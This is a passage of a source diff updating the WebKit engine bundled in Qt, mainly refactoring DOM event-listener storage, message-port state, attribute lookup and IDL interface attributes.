@@ -179,16 +185,18 @@ bool EventTarget::removeEventListener(const AtomicString& eventType, EventListen
     EventListenerMap::iterator result = d->eventListenerMap.find(eventType);
     if (result == d->eventListenerMap.end())
         return false;
-    EventListenerVector& entry = result->second;
+    EventListenerVector* entry = result->second;
 
     RegisteredEventListener registeredListener(listener, useCapture);
-    size_t index = entry.find(registeredListener);
+    size_t index = entry->find(registeredListener);
     if (index == notFound)
         return false;
 
-    entry.remove(index);
-    if (!entry.size())
+    entry->remove(index);
+    if (entry->isEmpty()) {
+        delete entry;
         d->eventListenerMap.remove(result);
+    }
 
     // Notify firing events planning to invoke the listener at 'index' that
     // they have one less listener to invoke.
@@ -264,10 +272,22 @@ bool EventTarget::fireEventListeners(Event* event)
         return true;
 
     EventListenerMap::iterator result = d->eventListenerMap.find(event->type());
-    if (result == d->eventListenerMap.end())
-        return false;
-    EventListenerVector& entry = result->second;
-
+    if (result != d->eventListenerMap.end())
+        fireEventListeners(event, d, *result->second);
+    
+    // Alias DOMFocusIn/DOMFocusOut to focusin/focusout (and vice versa). Just consider them to be the
+    // same event (triggering one another's handlers).  This mechanism allows us to deprecate or change event
+    // names in the future and still make them be interoperable.
+    if (event->hasAliasedType() && !event->immediatePropagationStopped()) {
+        EventListenerMap::iterator result = d->eventListenerMap.find(event->aliasedType());
+        if (result != d->eventListenerMap.end())
+            fireEventListeners(event, d, *result->second);
+    }
+    return !event->defaultPrevented();
+}
+        
+void EventTarget::fireEventListeners(Event* event, EventTargetData* d, EventListenerVector& entry)
+{
     RefPtr<EventTarget> protect = this;
 
     // Fire all listeners registered for this event. Don't fire listeners removed
@@ -284,13 +304,17 @@ bool EventTarget::fireEventListeners(Event* event)
             continue;
         if (event->eventPhase() == Event::BUBBLING_PHASE && registeredListener.useCapture)
             continue;
+
+        // If stopImmediatePropagation has been called, we just break out immediately, without
+        // handling any more events on this target.
+        if (event->immediatePropagationStopped())
+            break;
+
         // To match Mozilla, the AT_TARGET phase fires both capturing and bubbling
         // event listeners, even though that violates some versions of the DOM spec.
         registeredListener.listener->handleEvent(scriptExecutionContext(), event);
     }
     d->firingEventIterators.removeLast();
-
-    return !event->defaultPrevented();
 }
 
 const EventListenerVector& EventTarget::getEventListeners(const AtomicString& eventType)
@@ -303,7 +327,7 @@ const EventListenerVector& EventTarget::getEventListeners(const AtomicString& ev
     EventListenerMap::iterator it = d->eventListenerMap.find(eventType);
     if (it == d->eventListenerMap.end())
         return emptyVector;
-    return it->second;
+    return *it->second;
 }
 
 void EventTarget::removeAllEventListeners()
@@ -311,6 +335,7 @@ void EventTarget::removeAllEventListeners()
     EventTargetData* d = eventTargetData();
     if (!d)
         return;
+    deleteAllValues(d->eventListenerMap);
     d->eventListenerMap.clear();
 
     // Notify firing events planning to invoke the listener at 'index' that
diff --git a/src/3rdparty/webkit/WebCore/dom/EventTarget.h b/src/3rdparty/webkit/WebCore/dom/EventTarget.h
index 9a1975c..da98d98 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventTarget.h
+++ b/src/3rdparty/webkit/WebCore/dom/EventTarget.h
@@ -36,6 +36,7 @@
 #include "EventNames.h"
 #include "RegisteredEventListener.h"
 #include <wtf/Forward.h>
+#include <wtf/HashMap.h>
 
 namespace WebCore {
 
@@ -76,9 +77,11 @@ namespace WebCore {
     typedef Vector<FiringEventIterator, 1> FiringEventIteratorVector;
 
     typedef Vector<RegisteredEventListener, 1> EventListenerVector;
-    typedef HashMap<AtomicString, EventListenerVector> EventListenerMap;
+    typedef HashMap<AtomicString, EventListenerVector*> EventListenerMap;
+
+    struct EventTargetData : Noncopyable {
+        ~EventTargetData();
 
-    struct EventTargetData {
         EventListenerMap eventListenerMap;
         FiringEventIteratorVector firingEventIterators;
     };
@@ -137,8 +140,8 @@ namespace WebCore {
         bool isFiringEventListeners();
 
 #if USE(JSC)
-        void markEventListeners(JSC::MarkStack&);
-        void invalidateEventListeners();
+        void markJSEventListeners(JSC::MarkStack&);
+        void invalidateJSEventListeners(JSC::JSObject*);
 #endif
 
     protected:
@@ -150,6 +153,8 @@ namespace WebCore {
     private:
         virtual void refEventTarget() = 0;
         virtual void derefEventTarget() = 0;
+        
+        void fireEventListeners(Event*, EventTargetData*, EventListenerVector&);
     };
 
     #define DEFINE_ATTRIBUTE_EVENT_LISTENER(attribute) \
@@ -182,7 +187,7 @@ namespace WebCore {
 #endif
 
 #if USE(JSC)
-    inline void EventTarget::markEventListeners(JSC::MarkStack& markStack)
+    inline void EventTarget::markJSEventListeners(JSC::MarkStack& markStack)
     {
         EventTargetData* d = eventTargetData();
         if (!d)
@@ -190,19 +195,24 @@ namespace WebCore {
 
         EventListenerMap::iterator end = d->eventListenerMap.end();
         for (EventListenerMap::iterator it = d->eventListenerMap.begin(); it != end; ++it) {
-            EventListenerVector& entry = it->second;
+            EventListenerVector& entry = *it->second;
             for (size_t i = 0; i < entry.size(); ++i)
                 entry[i].listener->markJSFunction(markStack);
         }
     }
 
-    inline void EventTarget::invalidateEventListeners()
+    inline void EventTarget::invalidateJSEventListeners(JSC::JSObject* wrapper)
     {
         EventTargetData* d = eventTargetData();
         if (!d)
             return;
 
-        d->eventListenerMap.clear();
+        EventListenerMap::iterator end = d->eventListenerMap.end();
+        for (EventListenerMap::iterator it = d->eventListenerMap.begin(); it != end; ++it) {
+            EventListenerVector& entry = *it->second;
+            for (size_t i = 0; i < entry.size(); ++i)
+                entry[i].listener->invalidateJSFunction(wrapper);
+        }
     }
 #endif
 
diff --git a/src/3rdparty/webkit/WebCore/dom/EventTarget.idl b/src/3rdparty/webkit/WebCore/dom/EventTarget.idl
index 844dc32..0cdb6b3 100644
--- a/src/3rdparty/webkit/WebCore/dom/EventTarget.idl
+++ b/src/3rdparty/webkit/WebCore/dom/EventTarget.idl
@@ -24,7 +24,7 @@ module events {
     interface [
         ObjCProtocol,
         PureInterface,
-        InterfaceUUID=1D71C7EC-0BA0-4044-BDFD-56B3E8F5F9D4
+        OmitConstructor
     ] EventTarget {
         [OldStyleObjC] void addEventListener(in DOMString type, 
                                              in EventListener listener, 
diff --git a/src/3rdparty/webkit/WebCore/dom/InputElement.cpp b/src/3rdparty/webkit/WebCore/dom/InputElement.cpp
index c29cb1c..13bb0b2 100644
--- a/src/3rdparty/webkit/WebCore/dom/InputElement.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/InputElement.cpp
@@ -22,6 +22,7 @@
 #include "InputElement.h"
 
 #include "BeforeTextInsertedEvent.h"
+#include "Chrome.h"
 #include "ChromeClient.h"
 #include "Document.h"
 #include "Event.h"
diff --git a/src/3rdparty/webkit/WebCore/dom/InputElement.h b/src/3rdparty/webkit/WebCore/dom/InputElement.h
index e0e7110..a24b438 100644
--- a/src/3rdparty/webkit/WebCore/dom/InputElement.h
+++ b/src/3rdparty/webkit/WebCore/dom/InputElement.h
@@ -47,8 +47,10 @@ public:
     virtual bool searchEventsShouldBeDispatched() const = 0;
 
     virtual int size() const = 0;
+    virtual const String& suggestedValue() const = 0;
     virtual String value() const = 0;
-    virtual void setValue(const String&) = 0;
+    virtual void setValue(const String&, bool sendChangeEvent = false) = 0;
+    virtual void setValueForUser(const String&) = 0;
 
     virtual String sanitizeValue(const String&) const = 0;
     virtual void setValueFromRenderer(const String&) = 0;
@@ -91,6 +93,9 @@ public:
     String value() const { return m_value; }
     void setValue(const String& value) { m_value = value; }
 
+    const String& suggestedValue() const { return m_suggestedValue; }
+    void setSuggestedValue(const String& value) { m_suggestedValue = value; }
+
     int size() const { return m_size; }
     void setSize(int value) { m_size = value; }
 
@@ -106,6 +111,7 @@ public:
 private:
     AtomicString m_name;
     String m_value;
+    String m_suggestedValue;
     int m_size;
     int m_maxLength;
     int m_cachedSelectionStart;
diff --git a/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.cpp b/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.cpp
index 6bc825f..99c9220 100644
--- a/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.cpp
@@ -80,7 +80,6 @@ KeyboardEvent::KeyboardEvent(const AtomicString& eventType, bool canBubble, bool
 
 KeyboardEvent::~KeyboardEvent()
 {
-    delete m_keyEvent;
 }
 
 void KeyboardEvent::initKeyboardEvent(const AtomicString& type, bool canBubble, bool cancelable, AbstractView* view,
diff --git a/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.h b/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.h
index 2b0a131..793ac41 100644
--- a/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.h
+++ b/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.h
@@ -79,7 +79,7 @@ namespace WebCore {
 
         bool altGraphKey() const { return m_altGraphKey; }
     
-        const PlatformKeyboardEvent* keyEvent() const { return m_keyEvent; }
+        const PlatformKeyboardEvent* keyEvent() const { return m_keyEvent.get(); }
 
         int keyCode() const; // key code for keydown and keyup, character for keypress
         int charCode() const; // character code for keypress, 0 for keydown and keyup
@@ -99,7 +99,7 @@ namespace WebCore {
                       const String& keyIdentifier, unsigned keyLocation,
                       bool ctrlKey, bool altKey, bool shiftKey, bool metaKey, bool altGraphKey);
 
-        PlatformKeyboardEvent* m_keyEvent;
+        OwnPtr<PlatformKeyboardEvent> m_keyEvent;
         String m_keyIdentifier;
         unsigned m_keyLocation;
         bool m_altGraphKey : 1;
diff --git a/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.idl b/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.idl
index 58e5da7..1af3d02 100644
--- a/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/KeyboardEvent.idl
@@ -21,9 +21,7 @@
 module events {
 
     // Introduced in DOM Level 3:
-    interface [
-        GenerateConstructor
-    ] KeyboardEvent : UIEvent {
+    interface KeyboardEvent : UIEvent {
 
 #if !defined(LANGUAGE_JAVASCRIPT) || !LANGUAGE_JAVASCRIPT
         // KeyLocationCode
diff --git a/src/3rdparty/webkit/WebCore/dom/MappedAttributeEntry.h b/src/3rdparty/webkit/WebCore/dom/MappedAttributeEntry.h
index 745ad23..ce2464e 100644
--- a/src/3rdparty/webkit/WebCore/dom/MappedAttributeEntry.h
+++ b/src/3rdparty/webkit/WebCore/dom/MappedAttributeEntry.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 1999 Lars Knoll (knoll@kde.org)
  *           (C) 1999 Antti Koivisto (koivisto@kde.org)
  *           (C) 2001 Peter Kelly (pmk@post.com)
@@ -49,7 +47,9 @@ enum MappedAttributeEntry {
 // When adding new entries, make sure to keep eLastEntry at the end of the list.
     , eLastEntry
 };
-    
+
+enum FragmentScriptingPermission { FragmentScriptingAllowed, FragmentScriptingNotAllowed };
+
 }
 
 #endif
diff --git a/src/3rdparty/webkit/WebCore/dom/MessageChannel.idl b/src/3rdparty/webkit/WebCore/dom/MessageChannel.idl
index 4e0892b..bae5b18 100644
--- a/src/3rdparty/webkit/WebCore/dom/MessageChannel.idl
+++ b/src/3rdparty/webkit/WebCore/dom/MessageChannel.idl
@@ -26,7 +26,7 @@
 
 module events {
 
-    interface [CustomMarkFunction, NoStaticTables] MessageChannel {
+    interface [CustomConstructor, CustomMarkFunction, NoStaticTables] MessageChannel {
 
         readonly attribute MessagePort port1;
         readonly attribute MessagePort port2;
diff --git a/src/3rdparty/webkit/WebCore/dom/MessageEvent.idl b/src/3rdparty/webkit/WebCore/dom/MessageEvent.idl
index 7e497fc..2b47374 100644
--- a/src/3rdparty/webkit/WebCore/dom/MessageEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/MessageEvent.idl
@@ -27,10 +27,9 @@
 module events {
 
     interface [
-        GenerateConstructor,
         NoStaticTables
     ] MessageEvent : Event {
-        readonly attribute SerializedScriptValue data;
+        readonly attribute [CachedAttribute] SerializedScriptValue data;
 
         readonly attribute DOMString origin;
         readonly attribute DOMString lastEventId;
diff --git a/src/3rdparty/webkit/WebCore/dom/MessagePort.cpp b/src/3rdparty/webkit/WebCore/dom/MessagePort.cpp
index 9f6e649..1051920 100644
--- a/src/3rdparty/webkit/WebCore/dom/MessagePort.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/MessagePort.cpp
@@ -41,6 +41,7 @@ namespace WebCore {
 MessagePort::MessagePort(ScriptExecutionContext& scriptExecutionContext)
     : m_entangledChannel(0)
     , m_started(false)
+    , m_closed(false)
     , m_scriptExecutionContext(&scriptExecutionContext)
 {
     m_scriptExecutionContext->createdMessagePort(this);
@@ -131,6 +132,7 @@ void MessagePort::start()
 
 void MessagePort::close()
 {
+    m_closed = true;
     if (!m_entangledChannel)
         return;
     m_entangledChannel->close();
@@ -200,7 +202,7 @@ PassOwnPtr<MessagePortChannelArray> MessagePort::disentanglePorts(const MessageP
     // Walk the incoming array - if there are any duplicate ports, or null ports or cloned ports, throw an error (per section 8.3.3 of the HTML5 spec).
     for (unsigned int i = 0; i < ports->size(); ++i) {
         MessagePort* port = (*ports)[i].get();
-        if (!port || !port->isEntangled() || portSet.contains(port)) {
+        if (!port || port->isCloned() || portSet.contains(port)) {
             ec = INVALID_STATE_ERR;
             return 0;
         }
diff --git a/src/3rdparty/webkit/WebCore/dom/MessagePort.h b/src/3rdparty/webkit/WebCore/dom/MessagePort.h
index 0ab0f50..ae1eb22 100644
--- a/src/3rdparty/webkit/WebCore/dom/MessagePort.h
+++ b/src/3rdparty/webkit/WebCore/dom/MessagePort.h
@@ -103,7 +103,10 @@ namespace WebCore {
         // Returns null otherwise.
         // NOTE: This is used solely to enable a GC optimization. Some platforms may not be able to determine ownership of the remote port (since it may live cross-process) - those platforms may always return null.
         MessagePort* locallyEntangledPort();
-        bool isEntangled() { return m_entangledChannel; }
+        // A port starts out its life entangled, and remains entangled until it is closed or is cloned.
+        bool isEntangled() { return !m_closed && !isCloned(); }
+        // A port is cloned if its entangled channel has been removed and sent to a new owner via postMessage().
+        bool isCloned() { return !m_entangledChannel; }
 
     private:
         MessagePort(ScriptExecutionContext&);
@@ -116,6 +119,7 @@ namespace WebCore {
         OwnPtr<MessagePortChannel> m_entangledChannel;
 
         bool m_started;
+        bool m_closed;
 
         ScriptExecutionContext* m_scriptExecutionContext;
         EventTargetData m_eventTargetData;
diff --git a/src/3rdparty/webkit/WebCore/dom/MessagePort.idl b/src/3rdparty/webkit/WebCore/dom/MessagePort.idl
index a9149ec..9312430 100644
--- a/src/3rdparty/webkit/WebCore/dom/MessagePort.idl
+++ b/src/3rdparty/webkit/WebCore/dom/MessagePort.idl
@@ -29,7 +29,6 @@ module events {
     interface [
         CustomMarkFunction,
         EventTarget,
-        GenerateConstructor,
         NoStaticTables
     ] MessagePort {
 // We need to have something as an ObjC binding, because MessagePort is used in MessageEvent, which already has one,
@@ -44,12 +43,12 @@ module events {
         attribute EventListener onmessage;
 
         // EventTarget interface
-        [Custom] void addEventListener(in DOMString type, 
-                                       in EventListener listener, 
-                                       in boolean useCapture);
-        [Custom] void removeEventListener(in DOMString type, 
+        [JSCCustom] void addEventListener(in DOMString type, 
                                           in EventListener listener, 
                                           in boolean useCapture);
+        [JSCCustom] void removeEventListener(in DOMString type, 
+                                             in EventListener listener, 
+                                             in boolean useCapture);
         boolean dispatchEvent(in Event evt)
             raises(EventException);
 #endif
diff --git a/src/3rdparty/webkit/WebCore/dom/MessagePortChannel.h b/src/3rdparty/webkit/WebCore/dom/MessagePortChannel.h
index 2321b1f..192cb92 100644
--- a/src/3rdparty/webkit/WebCore/dom/MessagePortChannel.h
+++ b/src/3rdparty/webkit/WebCore/dom/MessagePortChannel.h
@@ -62,7 +62,7 @@ namespace WebCore {
         // Creates a new wrapper for the passed channel.
         static PassOwnPtr<MessagePortChannel> create(PassRefPtr<PlatformMessagePortChannel>);
 
-        // Entangles the channel with a port (called when a port has been cloned, after the clone has been marshalled to its new owning thread and is ready to receive messages).
+        // Entangles the channel with a port (called when a port has been cloned, after the clone has been marshaled to its new owning thread and is ready to receive messages).
         // Returns false if the entanglement failed because the port was closed.
         bool entangleIfOpen(MessagePort*);
 
@@ -78,7 +78,7 @@ namespace WebCore {
         // Returns true if the proxy currently contains messages for this port.
         bool hasPendingActivity();
 
-        class EventData {
+        class EventData : public Noncopyable {
         public:
             static PassOwnPtr<EventData> create(PassRefPtr<SerializedScriptValue>, PassOwnPtr<MessagePortChannelArray>);
 
diff --git a/src/3rdparty/webkit/WebCore/dom/MouseEvent.idl b/src/3rdparty/webkit/WebCore/dom/MouseEvent.idl
index c509459..49385f1 100644
--- a/src/3rdparty/webkit/WebCore/dom/MouseEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/MouseEvent.idl
@@ -20,9 +20,7 @@
 module events {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor
-    ] MouseEvent : UIEvent {
+    interface MouseEvent : UIEvent {
         readonly attribute long             screenX;
         readonly attribute long             screenY;
         readonly attribute long             clientX;
diff --git a/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.cpp b/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.cpp
index 87815b1..15d4e43 100644
--- a/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.cpp
@@ -151,7 +151,7 @@ void MouseRelatedEvent::receivedTarget()
     }
 
     // Adjust layerX/Y to be relative to the layer.
-    // FIXME: We're pretty sure this is the wrong defintion of "layer."
+    // FIXME: We're pretty sure this is the wrong definition of "layer."
     // Our RenderLayer is a more modern concept, and layerX/Y is some
     // other notion about groups of elements (left over from the Netscape 4 days?);
     // we should test and fix this.
diff --git a/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.h b/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.h
index 7649aa9..fc494d1 100644
--- a/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.h
+++ b/src/3rdparty/webkit/WebCore/dom/MouseRelatedEvent.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2001 Peter Kelly (pmk@post.com)
  * Copyright (C) 2001 Tobias Anton (anton@stud.fbi.fh-darmstadt.de)
  * Copyright (C) 2006 Samuel Weinig (sam.weinig@gmail.com)
diff --git a/src/3rdparty/webkit/WebCore/dom/MutationEvent.idl b/src/3rdparty/webkit/WebCore/dom/MutationEvent.idl
index ea7a4dd..99a6aaa 100644
--- a/src/3rdparty/webkit/WebCore/dom/MutationEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/MutationEvent.idl
@@ -20,9 +20,7 @@
 module events {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor
-    ] MutationEvent : Event {
+    interface MutationEvent : Event {
 
         // attrChangeType
         const unsigned short MODIFICATION = 1;
diff --git a/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.cpp b/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.cpp
index d4ec598..d8a6ba8 100644
--- a/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.cpp
@@ -130,7 +130,7 @@ PassRefPtr<Node> NamedNodeMap::setNamedItem(Node* arg, ExceptionCode& ec)
         return 0;
     }
 
-    if (a->name() == idAttr)
+    if (attr->isId())
         m_element->updateId(old ? old->value() : nullAtom, a->value());
 
     // ### slightly inefficient - resizes attribute array twice.
@@ -155,9 +155,9 @@ PassRefPtr<Node> NamedNodeMap::removeNamedItem(const QualifiedName& name, Except
         return 0;
     }
 
-    RefPtr<Node> r = a->createAttrIfNeeded(m_element);
+    RefPtr<Attr> r = a->createAttrIfNeeded(m_element);
 
-    if (name == idAttr)
+    if (r->isId())
         m_element->updateId(a->value(), nullAtom);
 
     removeAttribute(name);
@@ -172,26 +172,23 @@ PassRefPtr<Node> NamedNodeMap::item(unsigned index) const
     return m_attributes[index]->createAttrIfNeeded(m_element);
 }
 
-// We use a boolean parameter instead of calling shouldIgnoreAttributeCase so that the caller
-// can tune the behaviour (hasAttribute is case sensitive whereas getAttribute is not).
-Attribute* NamedNodeMap::getAttributeItem(const String& name, bool shouldIgnoreAttributeCase) const
+Attribute* NamedNodeMap::getAttributeItemSlowCase(const String& name, bool shouldIgnoreAttributeCase) const
 {
     unsigned len = length();
-    for (unsigned i = 0; i < len; ++i) {
-        if (!m_attributes[i]->name().hasPrefix() && m_attributes[i]->name().localName() == name)
-            return m_attributes[i].get();
-        if (shouldIgnoreAttributeCase ? equalIgnoringCase(m_attributes[i]->name().toString(), name) : name == m_attributes[i]->name().toString())
-            return m_attributes[i].get();
-    }
-    return 0;
-}
 
-Attribute* NamedNodeMap::getAttributeItem(const QualifiedName& name) const
-{
-    unsigned len = length();
+    // Continue to checking case-insensitively and/or full namespaced names if necessary:
     for (unsigned i = 0; i < len; ++i) {
-        if (m_attributes[i]->name().matches(name))
-            return m_attributes[i].get();
+        const QualifiedName& attrName = m_attributes[i]->name();
+        if (!attrName.hasPrefix()) {
+            if (shouldIgnoreAttributeCase && equalIgnoringCase(name, attrName.localName()))
+                return m_attributes[i].get();
+        } else {
+            // FIXME: Would be faster to do this comparison without calling toString, which
+            // generates a temporary string by concatenation. But this branch is only reached
+            // if the attribute name has a prefix, which is rare in HTML.
+            if (equalPossiblyIgnoringCase(name, attrName.toString(), shouldIgnoreAttributeCase))
+                return m_attributes[i].get();
+        }
     }
     return 0;
 }
@@ -220,8 +217,8 @@ void NamedNodeMap::setAttributes(const NamedNodeMap& other)
 
     // If assigning the map changes the id attribute, we need to call
     // updateId.
-    Attribute *oldId = getAttributeItem(idAttr);
-    Attribute *newId = other.getAttributeItem(idAttr);
+    Attribute* oldId = getAttributeItem(m_element->idAttributeName());
+    Attribute* newId = other.getAttributeItem(m_element->idAttributeName());
 
     if (oldId || newId)
         m_element->updateId(oldId ? oldId->value() : nullAtom, newId ? newId->value() : nullAtom);
diff --git a/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.h b/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.h
index 759900b..d5136b5 100644
--- a/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.h
+++ b/src/3rdparty/webkit/WebCore/dom/NamedAttrMap.h
@@ -103,12 +103,45 @@ private:
     void detachAttributesFromElement();
     void detachFromElement();
     Attribute* getAttributeItem(const String& name, bool shouldIgnoreAttributeCase) const;
+    Attribute* getAttributeItemSlowCase(const String& name, bool shouldIgnoreAttributeCase) const;
 
     Element* m_element;
     Vector<RefPtr<Attribute> > m_attributes;
     AtomicString m_id;
 };
 
+inline Attribute* NamedNodeMap::getAttributeItem(const QualifiedName& name) const
+{
+    unsigned len = length();
+    for (unsigned i = 0; i < len; ++i) {
+        if (m_attributes[i]->name().matches(name))
+            return m_attributes[i].get();
+    }
+    return 0;
+}
+
+// We use a boolean parameter instead of calling shouldIgnoreAttributeCase so that the caller
+// can tune the behaviour (hasAttribute is case sensitive whereas getAttribute is not).
+inline Attribute* NamedNodeMap::getAttributeItem(const String& name, bool shouldIgnoreAttributeCase) const
+{
+    unsigned len = length();
+    bool doSlowCheck = shouldIgnoreAttributeCase;
+    
+    // Optimize for the case where the attribute exists and its name exactly matches.
+    for (unsigned i = 0; i < len; ++i) {
+        const QualifiedName& attrName = m_attributes[i]->name();
+        if (!attrName.hasPrefix()) {
+            if (name == attrName.localName())
+                return m_attributes[i].get();
+        } else
+            doSlowCheck = true;
+    }
+
+    if (doSlowCheck)
+        return getAttributeItemSlowCase(name, shouldIgnoreAttributeCase);
+    return 0;
+}
+
 } //namespace
 
 #undef id
diff --git a/src/3rdparty/webkit/WebCore/dom/NamedMappedAttrMap.h b/src/3rdparty/webkit/WebCore/dom/NamedMappedAttrMap.h
index 0afa278..a288685 100644
--- a/src/3rdparty/webkit/WebCore/dom/NamedMappedAttrMap.h
+++ b/src/3rdparty/webkit/WebCore/dom/NamedMappedAttrMap.h
@@ -26,8 +26,8 @@
 #ifndef NamedMappedAttrMap_h
 #define NamedMappedAttrMap_h
 
-#include "ClassNames.h"
 #include "NamedNodeMap.h"
+#include "SpaceSplitString.h"
 
 namespace WebCore {
 
@@ -37,7 +37,7 @@ public:
 
     void clearClass() { m_classNames.clear(); }
     void setClass(const String&);
-    const ClassNames& classNames() const { return m_classNames; }
+    const SpaceSplitString& classNames() const { return m_classNames; }
 
     bool hasMappedAttributes() const { return m_mappedAttributeCount > 0; }
     void declRemoved() { m_mappedAttributeCount--; }
@@ -53,7 +53,7 @@ private:
 
     int declCount() const;
 
-    ClassNames m_classNames;
+    SpaceSplitString m_classNames;
     int m_mappedAttributeCount;
 };
 
diff --git a/src/3rdparty/webkit/WebCore/dom/NamedNodeMap.idl b/src/3rdparty/webkit/WebCore/dom/NamedNodeMap.idl
index 8166853..4d36577 100644
--- a/src/3rdparty/webkit/WebCore/dom/NamedNodeMap.idl
+++ b/src/3rdparty/webkit/WebCore/dom/NamedNodeMap.idl
@@ -22,11 +22,8 @@ module core {
 
     interface [
         CustomMarkFunction,
-        GenerateConstructor,
         HasIndexGetter,
-        HasNameGetter,
-        InterfaceUUID=08DAF7A4-4C32-4709-B72F-622721FF0FB8,
-        ImplementationUUID=A1CC9F5B-092D-4a04-96D9-D7718A8D6242
+        HasNameGetter
     ] NamedNodeMap {
 
         Node getNamedItem(in DOMString name);
diff --git a/src/3rdparty/webkit/WebCore/dom/Node.cpp b/src/3rdparty/webkit/WebCore/dom/Node.cpp
index 612bf18..95f5dce 100644
--- a/src/3rdparty/webkit/WebCore/dom/Node.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Node.cpp
@@ -2,7 +2,7 @@
  * Copyright (C) 1999 Lars Knoll (knoll@kde.org)
  *           (C) 1999 Antti Koivisto (koivisto@kde.org)
  *           (C) 2001 Dirk Mueller (mueller@kde.org)
- * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
  * Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies)
  * Copyright (C) 2009 Torch Mobile Inc. All rights reserved. (http://www.torchmobile.com/)
  *
@@ -37,6 +37,7 @@
 #include "CString.h"
 #include "ChildNodeList.h"
 #include "ClassNodeList.h"
+#include "ContextMenuController.h"
 #include "DOMImplementation.h"
 #include "Document.h"
 #include "DynamicNodeList.h"
@@ -53,6 +54,7 @@
 #include "InspectorTimelineAgent.h"
 #include "KeyboardEvent.h"
 #include "Logging.h"
+#include "MappedAttribute.h"
 #include "MouseEvent.h"
 #include "MutationEvent.h"
 #include "NameNodeList.h"
@@ -143,7 +145,7 @@ void Node::dumpStatistics()
     size_t attrMaps = 0;
     size_t mappedAttrMaps = 0;
 
-    for (HashSet<Node*>::const_iterator it = liveNodeSet.begin(); it != liveNodeSet.end(); ++it) {
+    for (HashSet<Node*>::iterator it = liveNodeSet.begin(); it != liveNodeSet.end(); ++it) {
         Node* node = *it;
 
         if (node->hasRareData())
@@ -249,7 +251,7 @@ void Node::dumpStatistics()
     printf("  Number of XPathNS nodes: %zu\n", xpathNSNodes);
 
     printf("Element tag name distibution:\n");
-    for (HashMap<String, size_t>::const_iterator it = perTagCount.begin(); it != perTagCount.end(); ++it)
+    for (HashMap<String, size_t>::iterator it = perTagCount.begin(); it != perTagCount.end(); ++it)
         printf("  Number of <%s> tags: %zu\n", it->first.utf8().data(), it->second);
 
     printf("Attribute Maps:\n");
@@ -311,25 +313,20 @@ Node::StyleChange Node::diff(const RenderStyle* s1, const RenderStyle* s2)
 
     // If the pseudoStyles have changed, we want any StyleChange that is not NoChange
     // because setStyle will do the right thing with anything else.
-    if (ch == NoChange && s1->hasPseudoStyle(BEFORE)) {
-        RenderStyle* ps2 = s2->getCachedPseudoStyle(BEFORE);
-        if (!ps2)
-            ch = NoInherit;
-        else {
-            RenderStyle* ps1 = s1->getCachedPseudoStyle(BEFORE);
-            ch = ps1 && *ps1 == *ps2 ? NoChange : NoInherit;
-        }
-    }
-    if (ch == NoChange && s1->hasPseudoStyle(AFTER)) {
-        RenderStyle* ps2 = s2->getCachedPseudoStyle(AFTER);
-        if (!ps2)
-            ch = NoInherit;
-        else {
-            RenderStyle* ps1 = s1->getCachedPseudoStyle(AFTER);
-            ch = ps2 && *ps1 == *ps2 ? NoChange : NoInherit;
+    if (ch == NoChange && s1->hasAnyPublicPseudoStyles()) {
+        for (PseudoId pseudoId = FIRST_PUBLIC_PSEUDOID; ch == NoChange && pseudoId < FIRST_INTERNAL_PSEUDOID; pseudoId = static_cast<PseudoId>(pseudoId + 1)) {
+            if (s1->hasPseudoStyle(pseudoId)) {
+                RenderStyle* ps2 = s2->getCachedPseudoStyle(pseudoId);
+                if (!ps2)
+                    ch = NoInherit;
+                else {
+                    RenderStyle* ps1 = s1->getCachedPseudoStyle(pseudoId);
+                    ch = ps1 && *ps1 == *ps2 ? NoChange : NoInherit;
+                }
+            }
         }
     }
-    
+
     return ch;
 }
 
@@ -410,7 +407,6 @@ Node::Node(Document* document, ConstructionType type)
     , m_hovered(false)
     , m_inActiveChain(false)
     , m_inDetach(false)
-    , m_inSubtreeMark(false)
     , m_hasRareData(false)
     , m_isElement(isElement(type))
     , m_isContainer(isContainer(type))
@@ -421,6 +417,7 @@ Node::Node(Document* document, ConstructionType type)
 #if ENABLE(SVG)
     , m_areSVGAttributesValid(true)
     , m_synchronizingSVGAttributes(false)
+    , m_hasRareSVGData(false)
 #endif
 {
     if (m_document)
@@ -519,6 +516,12 @@ void Node::setDocument(Document* document)
